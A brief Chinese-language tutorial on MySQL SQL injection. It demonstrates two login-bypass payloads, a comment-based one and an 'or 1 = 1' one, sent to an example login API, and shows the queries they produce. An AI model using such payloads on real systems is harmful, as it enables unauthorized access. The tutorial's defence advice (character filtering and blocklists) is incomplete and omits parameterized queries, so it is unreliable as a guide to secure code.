MySQL:SQL注入
1.简介
通过对数据库外部接口输入恶意内容,影响数据库select的查询结果。
2.准备
# 演示用户表
create table user
(
id int unsigned primary key,
username varchar(20) not null,
password varchar(20) not null
);
# 演示数据
insert into user values (1, 'yimt', '1234');
3.SQL注入方式
3.1.注释方式
只列举了/*,其他注释符如:#、–都能实现同样效果不一一列举
请求数据
POST http://www.example.com/api/login
Content-Type: application/json
{
"username": "yimt' /*",
"password": "9999"
}
生成查询语句
select * from user where username = 'yimt' /* and password = '9999';
执行结果
3.2.or方式
请求数据
POST http://www.example.com/api/login
Content-Type: application/json
{
"username": "yimt",
"password": "9999' or 1 = 1"
}
生成查询语句
select * from user where username = 'yimt' and password = '9999' or 1 = 1;
执行结果
4.解决办法
一般数据库驱动都会带防SQL注入策略,这里只说我们自己应该怎么处理
- 只接收合法字符输入(如:数字+字母大小写)
- 禁止已知的非法输入(如:=、>、<、/*、#等)
5.参考
- 《深入浅出MySQL(第2版)》唐汉明、翟振兴、关宝军、王洪权、黄潇